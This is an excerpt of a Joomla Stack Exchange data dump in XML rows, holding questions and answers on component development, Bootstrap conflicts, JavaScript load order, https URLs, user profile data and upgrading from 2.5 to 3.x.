  <row Id="5869" PostTypeId="2" ParentId="5861" CreationDate="2015-01-02T19:10:00.263" Score="0" Body="&lt;p&gt;Found the problem. I use Google Chrome development tools a lot so I can easily assign values to properties. what I did is just copy/paste the CSS code from Chrome to the appropriate CSS file. Turns out to be that The development tools assign a wrong class or/and id. Changed some classes and everything works fine now &lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2015-01-02T19:10:00.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5870" PostTypeId="1" AcceptedAnswerId="5896" CreationDate="2015-01-02T20:06:35.190" Score="2" ViewCount="1241" Body="&lt;p&gt;I'm developing an MVC component for Joomla 3.x with currently 3 views:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VIEWS&#xA;|-PAGES (displays all pages in a list, ordinary joomla view) &#xA;  |-view.html.php&#xA;  |-TMPL&#xA;    |-default.php&#xA;|-PAGE (forms for page editing)&#xA;  |-view.html.php&#xA;  |-TMPL&#xA;    |-edit.php&#xA;|-ITEM (forms for item editing)&#xA;  |-view.html.php&#xA;  |-TMPL&#xA;    |-params.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my page.edit view, I wanna call my item.params view via a bootstrap modal.&#xA;currently, I have this setup (working modal) (link in layout edit.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_pages&amp;amp;view=item&amp;amp;layout=params&amp;amp;tmpl=component&amp;amp;id='.$elem-&amp;gt;id); ?&amp;gt;&quot; class=&quot;modal&quot;&amp;gt;&amp;lt;span class=&quot;icon icon-cog&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;strong&gt;behavior.modal&lt;/strong&gt; enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; note &lt;code&gt;&amp;amp;tmpl=component&lt;/code&gt; (administrator template disabled)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I e.g. display save buttons and get them working? (with JToolbar if possible?)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there possibly beter ways to accomplish this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I've tried @Dmitry-Rekun's answer and I'm glad to say it works! However I've run into &lt;a href=&quot;https://joomla.stackexchange.com/questions/6931/how-to-get-save-and-cancel-buttons-in-a-joomla-bootstrap-modal-working&quot;&gt;some issues with the implementation&lt;/a&gt;... :(&lt;/p&gt;&#xA;" OwnerUserId="3436" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-01-21T23:54:42.963" Title="Joomla 3: display view with toolbar in modal" Tags="|component|mvc|bootstrap|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5873" PostTypeId="2" ParentId="3746" CreationDate="2015-01-03T15:46:34.607" Score="0" Body="&lt;p&gt;Joomla developers say: As the only people who have confirmed this are jomsocial users we have to conclude it is an issue with jomsocial. I am closing this at this time. If more information is provided to show that the issue is in the core of joomla it can always be reopened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://issues.joomla.org/tracker/joomla-cms/5221&quot; rel=&quot;nofollow&quot;&gt;http://issues.joomla.org/tracker/joomla-cms/5221&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It is NOT jomSocial issue&#xA;JomSocial devs actually provided the fix for Joomla that Joomla guys do not want to accept, and still neglect the error&#xA;&lt;a href=&quot;http://issues.joomla.org/tracker/joomla-cms/5144&quot; rel=&quot;nofollow&quot;&gt;http://issues.joomla.org/tracker/joomla-cms/5144&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3438" LastEditorUserId="-1" LastEditDate="2015-01-06T23:51:51.270" LastActivityDate="2015-01-06T23:51:51.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5874" PostTypeId="2" ParentId="5738" CreationDate="2015-01-03T16:22:18.430" Score="2" Body="&lt;p&gt;The steps described by Brian Peat should work. Although I had the same problem that the site kept saying that it already was at the highest version 2.5.x.&#xA;I ran into this problem on a copy of the site, for upgrade testing. The copy site allowed me to update to the latest version of 2.5. After the update I switched to Short Term Support and the site kept saying it was at the highest level.&#xA;Checking back on the original site, that still allowed me to update to the latest version of 2.5. However, after checking for updates again (simply clicking the Find Updates button again), the site said it was at the highest level. Swithing between Long Term and Short Term made no difference.&#xA;So, there must be an issue somewhere. I found that for some reason an entry for the Joomla Core update vanishes from the #__updates table. To fix this do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Extensions &gt; Extension Manager&lt;/li&gt;&#xA;&lt;li&gt;Select Database&lt;/li&gt;&#xA;&lt;li&gt;Click the Fix button&lt;/li&gt;&#xA;&lt;li&gt;Return to Components &gt; Joomla! Update&lt;/li&gt;&#xA;&lt;li&gt;Make sure you select Short Term Support.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The update to 3.x should be present.&lt;/p&gt;&#xA;" OwnerUserId="3437" LastActivityDate="2015-01-03T16:22:18.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5875" PostTypeId="5" CreationDate="2015-01-03T16:56:11.343" Score="0" Body="&lt;h1&gt;JForm&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This class implements a robust API for constructing, populating, filtering, and validating forms. It uses XML definitions to construct form fields and a variety of field and rule classes to render and validate the form.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JForm.html&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="126" LastEditDate="2015-08-21T15:41:21.777" LastActivityDate="2015-08-21T15:41:21.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5876" PostTypeId="4" CreationDate="2015-01-03T16:56:11.343" Score="0" Body="Form Class for the Joomla Platform." OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-01-04T00:44:05.577" LastActivityDate="2015-01-04T00:44:05.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5877" PostTypeId="5" CreationDate="2015-01-03T17:00:45.837" Score="0" Body="&lt;p&gt;Provides a sophisticated database abstraction layer to simplify the usage for third party developers.  See &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabase.html&quot; rel=&quot;nofollow&quot;&gt;Class Methods&lt;/a&gt;, or &lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;Using jDatabase&lt;/a&gt; for examples and explanation.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-01-04T02:03:00.223" LastActivityDate="2015-01-04T02:03:00.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5878" PostTypeId="4" CreationDate="2015-01-03T17:00:45.837" Score="0" Body="Joomla Database connector class" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-01-04T02:02:39.010" LastActivityDate="2015-01-04T02:02:39.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5879" PostTypeId="1" CreationDate="2015-01-03T20:20:48.293" Score="3" ViewCount="1403" Body="&lt;p&gt;I understand the Joomla 3.x version is shipped with Bootstrap 2.x and many of the core components like contacts, login etc... are using the Bootstrap 2.x framework.  Even some of the templates like prostar, beez are using the same frame work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are developing a component and we plan to use Bootstrap 3.x framework for the component views.  I don't want to hack any of the core framework or any file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I need to know whether is there a way (safe) to use Bootstrap 3.x framework only on the component views without any conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure my question makes any sense but ultimately I want to take advantage of responsive features of Bootstrap 3.x for my component views.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-07-06T13:52:41.160" Title="Bootstrap 3 for component views with Joomla 3.x" Tags="|joomla-3.x|twitter-bootstrap-3|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5880" PostTypeId="1" AcceptedAnswerId="5885" CreationDate="2015-01-04T05:09:11.823" Score="2" ViewCount="91" Body="&lt;p&gt;There is a lot of confusion on J.S.E about how to include javascript into Joomla in the correct order. I’ve seen a number of questions on J.S.E about it, but they never cover everything completely. Those questions led me to this piece of information&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Joomla API (such as $doc-&gt;addScript) uses an array to store the JS&#xA;  files paths. They get rendered in the document in the same order they&#xA;  were inserted into the array (FIFO stack). Once a file path is&#xA;  included in the array, if another API tries to insert the same file,&#xA;  the insertion is ignored. This prevents duplicates, but it also means&#xA;  that the files will be rendered according to when they were first&#xA;  included in the FIFO stack. If the same files are attempted to be&#xA;  inserted again, the order of the files will not be altered.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ORIGINAL REFERENCE &lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript#Important_notes_for_3rd_party_developers&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_JavaScript#Important_notes_for_3rd_party_developers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MY QUESTIONs&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;1: Which parts of Joomla insert javascript into the FIFO stack first? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;2: What is the insertion order for each of the Joomla parts?i.e. plugins, modules, articles, &lt;em&gt;etc&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I’ll include what I’ve already found out below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;extension files and template override files are processed first and&#xA;  the index.php file of your current template is processed last.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-01-04T09:26:45.440" LastActivityDate="2015-01-04T19:32:52.453" Title="In what order do the different parts of Joomla insert javascript into the FIFO stack?" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5881" PostTypeId="2" ParentId="5855" CreationDate="2015-01-04T14:05:15.347" Score="1" Body="&lt;p&gt;Because you did not use any known template frameworks, I'd be very very surprised if anyone will be able to give you a direct answer to your question.  I googled a few, and found &lt;a href=&quot;http://magazine.joomla.org/issues/issue-oct-2012/item/891-using-a-joomla-template-framework-to-design-your-site&quot; rel=&quot;nofollow&quot;&gt;Using a Joomla Template Framework to Design your Site&lt;/a&gt;, which outlines the pros/cons of the popular frameworks that are out there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, not knowing how your code works at all, there's no way we can guess at a native way to implement parameters, but if you look at these known and accepted frameworks, perhaps you'll see a way that it's done with them and you can incorporate it into your framework.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-01-04T14:05:15.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5882" PostTypeId="1" CreationDate="2015-01-04T15:28:06.550" Score="0" ViewCount="34" Body="&lt;p&gt;Just asking if you can do a different theme for the same page based on user group or permissions?&#xA;Is there a way of doing it or should I code into the php index to do the switch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to give a view to the developers and one to the content team while building.&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="22" LastEditDate="2015-01-04T23:17:34.663" LastActivityDate="2015-01-04T23:17:34.663" Title="Can you have a different theme based on user group/perms?" Tags="|cms|permissions|" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-04T23:19:54.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="5884" PostTypeId="2" ParentId="5882" CreationDate="2015-01-04T16:09:27.143" Score="3" Body="&lt;p&gt;Try &lt;a href=&quot;https://www.nonumber.nl/extensions/advancedtemplatemanager&quot; rel=&quot;nofollow&quot;&gt;Advanced Template Manager&lt;/a&gt; by NoNumber&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Advanced Template Manager you have the possibility to assign template styles to just about anything you want (URLs, OSx, User IDs, Browsers, Tags etc..). However it's not compatible with T3 or Gantry FW. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have to go for the pro version for all the features but I can highly recommend these extensions. There is also a free version that you could test?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-01-04T16:09:27.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5885" PostTypeId="2" ParentId="5880" CreationDate="2015-01-04T19:32:52.453" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Joomla inserts Javascript from several places. It mostly coordinated from JDocument and JDocumentRendererHead. There is no way to know all callers addScript and it better to avoid any dependency on this order.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Concerning to insertion order, it mostly follow the execution order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Plug-ings following the associated events (initialization, before render, etc), &lt;/li&gt;&#xA;&lt;li&gt;modules called before the component, &lt;/li&gt;&#xA;&lt;li&gt;main component and modules after the component (according to the template definition).&lt;/li&gt;&#xA;&lt;li&gt;Plug-ings after render, etc&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you have load order dependencies, it is better to load your code at the end (jQuery.ready). It may be slower but it is safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other advanced techniques can be implemented with a Dependency Manager (e.g. RequireJS) or just inserting by hand your Javascript script before &amp;lt; /body&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-04T19:32:52.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5886" PostTypeId="2" ParentId="5879" CreationDate="2015-01-04T19:53:46.100" Score="0" Body="&lt;p&gt;It can be done. But, there is no easy way to load Bootstrap 3.x on top of Bootstrap 2.x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to potentially have to deal with CSS and Javascript conflicts. For example, with .table definition, where both frameworks try to load styles. Inside the main &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can define your own BS3: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;mycomponent container&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9&quot; role=&quot;main&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From my experience with Joomla v2.5, loading Bootstrap 2.x on top of J25 Styles, even if you add new level (.mycomponent table), you have to check if all declarations are applied correctly and fixing issues adding more levels or !important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the JavaScript side, it is even more complex, where there is no way to simply deactivate all loaded scripts (right now, you have to also check for BS2 and mootools conflicts, e.g. modals).&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="1520" LastEditDate="2016-07-06T13:52:41.160" LastActivityDate="2016-07-06T13:52:41.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5887" PostTypeId="2" ParentId="5868" CreationDate="2015-01-04T20:03:11.560" Score="1" Body="&lt;p&gt;&lt;strong&gt;JomSocial&lt;/strong&gt; has its own templating system. Firstly, you have to create your own template, and duplicate the required files from the default template to customize the registration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this link, there is a nice detail of the required steps to customize a template and inspect the layout: &lt;a href=&quot;http://documentation.jomsocial.com/wiki/Customizing_Template&quot; rel=&quot;nofollow&quot;&gt;http://documentation.jomsocial.com/wiki/Customizing_Template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning to View classes, they are part of the distribution and they cannot be changed with an override.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-04T20:03:11.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5888" PostTypeId="2" ParentId="5855" CreationDate="2015-01-04T20:11:47.737" Score="1" Body="&lt;p&gt;There is no native way to load separated / child XMLs for template configuration. In fact, any XML loader checks if it is parsing a valid XML. If your configuration is separated in several files, it is not a valid XML until you merge all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your issue is not in the XML size. The size of the configuration Html form may be the cause of the slow load. Most template networks simplify the configuration with several smaller forms or wizards.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-04T20:11:47.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5889" PostTypeId="1" AcceptedAnswerId="5894" CreationDate="2015-01-05T00:30:04.577" Score="3" ViewCount="2575" Body="&lt;p&gt;If my site was using ssl, would JUri::root() return a url containing https?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it didn't, what could I use to return the https equivalent of JUri::root() ?&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-01-05T01:37:23.617" LastActivityDate="2015-01-05T13:12:30.030" Title="Does JUri::root() return https on sites that use ssl?" Tags="|joomla-api|url|ssl|https|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5892" PostTypeId="2" ParentId="5879" CreationDate="2015-01-05T11:18:06.520" Score="1" Body="&lt;p&gt;You could namespace all BS3 syntax so that there will not be any conflict with the BS2 already being loaded, that is probably the simplest option but it will require extra work. It should be relatively straightforward using the SCSS version of Bootstrap to prefix all output css.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-01-05T11:18:06.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5893" PostTypeId="1" CreationDate="2015-01-05T12:43:47.010" Score="2" ViewCount="754" Body="&lt;p&gt;When there's an error with the Database, Joomla throws that error. It takes place so early in the execution cycle that nothing from the Joomla application is ready, so you get an ugly blank page with the error message in simple text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to override that so these errors are directed for example to a static HTML error page? I already checked this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Custom_error_pages&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Custom_error_pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if I'm not wrong this won't work for these errors, as it requires more stuff being properly loaded, which is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1504" LastActivityDate="2022-03-12T19:08:43.800" Title="Any way of overriding &quot;Error displaying the error page: Application Instantiation Error&quot; message?" Tags="|joomla-3.x|overrides|error-handling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5894" PostTypeId="2" ParentId="5889" CreationDate="2015-01-05T13:04:26.163" Score="2" Body="&lt;p&gt;According to the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/uri/uri.php#L65-L69&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt; - it should return &lt;code&gt;https&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Determine if the request was over SSL (HTTPS).&#xA;if (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; !empty($_SERVER['HTTPS']) &amp;amp;&amp;amp; (strtolower($_SERVER['HTTPS']) != 'off'))&#xA;{&#xA;    $https = 's://';&#xA;}&#xA;else&#xA;{&#xA;    $https = '://';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-05T13:04:26.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5895" PostTypeId="2" ParentId="5889" CreationDate="2015-01-05T13:12:30.030" Score="2" Body="&lt;p&gt;&lt;strong&gt;JUri::root()&lt;/strong&gt; returns the Url according to the user access. If the user has accessed Joomla from a https Url, then JUri::root() returns the https root url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, to create Urls with no protocol definition, to follow the user access preference, you can create Urls like //www.mydomain.com/blalbla.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-05T13:12:30.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5896" PostTypeId="2" ParentId="5870" CreationDate="2015-01-05T13:27:39.563" Score="1" Body="&lt;p&gt;You can display them like in the ordinary list view. See for example &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_content/views/articles/tmpl/modal.php&quot; rel=&quot;nofollow&quot;&gt;modal.php&lt;/a&gt; of the articles view. Just use &lt;code&gt;JToolbarHelper&lt;/code&gt; to display buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can display buttons like in batch files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button class=&quot;btn btn-primary&quot; type=&quot;submit&quot; onclick=&quot;Joomla.submitbutton('article.batch');&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_content/views/articles/tmpl/default_batch.php&quot; rel=&quot;nofollow&quot;&gt;batch&lt;/a&gt; of the articles view.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-05T13:27:39.563" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5897" PostTypeId="1" CreationDate="2015-01-05T16:02:37.873" Score="1" ViewCount="2997" Body="&lt;p&gt;I am using Joomla! v3.3.3 and I have just enabled the &quot;User-Profile&quot; component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I access and/or echo the &quot;User-Profile&quot; component data via PHP, such as: address1, city, website, etc?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to access/echo standard user data ex. &lt;code&gt;&amp;lt;?php echo $user-&amp;gt;username; ?&amp;gt;&lt;/code&gt; but how can I access and echo out the &quot;User-Profile&quot; component's data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help!&lt;/p&gt;&#xA;" OwnerUserId="3428" LastActivityDate="2015-01-05T16:30:41.497" Title="How to Access User-Profile Component Data via PHP" Tags="|component|php|user|access|" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-07T19:00:17.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="5898" PostTypeId="2" ParentId="5897" CreationDate="2015-01-05T16:30:41.497" Score="2" Body="&lt;p&gt;For anyone else with this question, you can find the answer here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/899/how-to-display-user-profile-information/901#901&quot;&gt;How to display user profile information?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As described in the aforementioned post, the short answer is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To access the User Profile Data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.user.helper' ); &#xA;$user = JFactory::getUser();&#xA;$userId = $user-&amp;gt;id; &#xA;$userProfile = JUserHelper::getProfile( $userId );&#xA;&#xA;echo &quot;Main Address: &quot; . $userProfile-&amp;gt;profile['address1']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3428" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-05T16:30:41.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5899" PostTypeId="1" AcceptedAnswerId="5905" CreationDate="2015-01-05T21:43:52.857" Score="1" ViewCount="1018" Body="&lt;p&gt;My goal is to create an html select box via a foreach loop that returns all users within a specific custom usergroup (ex. usergroup = Agents). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once, the query pulls in all records (users) for that specific usergroup, I then need to pull in data from multiple tables for each user, such as: #__users and #__user_profiles – as I’m wanting to grab #__user information such as: name and email, while also grabbing #__user_profile information such as: address1, city, postal_code, etc….&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciate….&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pseudo Code For What I Think I'm Needing&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *&#xA;  FROM #__users AND #__user_profiles&#xA;  WHERE #__usergroup.title = Agent&#xA;  ORDER BY #__users.name ASC;&#xA;&#xA;&amp;lt;select&amp;gt;&#xA;FOREACH user that has a #__usergroup.title = Agent&#xA;  &amp;lt;option&amp;gt;&#xA;  OUTPUT (&#xA;    #__users.name,&#xA;    #__users.email&#xA;    #__users.usertype,&#xA;    #__user_profiles.address1,&#xA;    #__user_profiles.city,&#xA;    #__user_profiles.postal_code,&#xA;    #__user_profiles.phone,&#xA;    #__user_profiles.website&#xA;  );&#xA;  &amp;lt;/option&amp;gt;&#xA;END FOREACH&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3428" LastActivityDate="2015-01-06T13:44:40.053" Title="How to Create a Foreach Loop that Returns Users In a Specific Usergroup" Tags="|user|form|user-groups|joomla-user-groups|sql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5900" PostTypeId="1" AcceptedAnswerId="6909" CreationDate="2015-01-06T00:40:51.727" Score="0" ViewCount="330" Body="&lt;p&gt;I am trying to set up a staff page using hidden menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The login point is a public menu item, which should redirect to a menu item with registered access. Unfortunately a successful login redirects to the article (not menu item) associated with an unrelated login module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the login redirection selection does not impact where I am sent, and when I go directly to the URL i would like it to reach, I can see that it is set up properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can test it at the links below using the login and password test1/54321&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.roadstosuccess.org/staff&quot; rel=&quot;nofollow&quot;&gt;roadstosuccess.org/staff&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;desired redirect would be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.roadstosuccess.org/staff/welcome&quot; rel=&quot;nofollow&quot;&gt;roadstosuccess.org/staff/welcome&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3446" LastEditorUserId="126" LastEditDate="2016-01-21T23:54:21.873" LastActivityDate="2016-01-21T23:54:21.873" Title="Login redirection leads to unrelated article" Tags="|joomla-3.3.x|login|redirect|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5902" PostTypeId="2" ParentId="5899" CreationDate="2015-01-06T09:44:07.900" Score="0" Body="&lt;p&gt;You would have to look for the corrosponding id number that comes with the group &quot;Agent&quot;, or include the #__usergroups table in your query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then, foreach user,&#xA;if the group equals &quot;agent&quot; (or whatever number it is, if you're not including the user groups table),&#xA;return the name, email, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. I could be somewhat mistaken as it's been a while but this worked for me in the past.&lt;/p&gt;&#xA;" OwnerUserId="3349" LastEditorUserId="3349" LastEditDate="2015-01-06T09:59:32.753" LastActivityDate="2015-01-06T09:59:32.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5903" PostTypeId="2" ParentId="5831" CreationDate="2015-01-06T09:57:23.523" Score="1" Body="&lt;p&gt;In most cases you are able to update it from within Joomla itself. If your 2.5 install is updated to the latest version of 2.5, (I believe it's 2.5.27) there will be an option to update to 3.3.6 just like where you'd regularly find your update option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that's what you were looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;This is indeed an option, but to achieve this, you will have to set something in the Joomla! update component. Simply go to your joomla update component by selecting it in the backend. There, in the upper right corner, click on options. Set the update server to Short term and the update should be visisble &lt;/p&gt;&#xA;" OwnerUserId="3349" LastEditorUserId="2171" LastEditDate="2015-01-06T13:16:51.440" LastActivityDate="2015-01-06T13:16:51.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
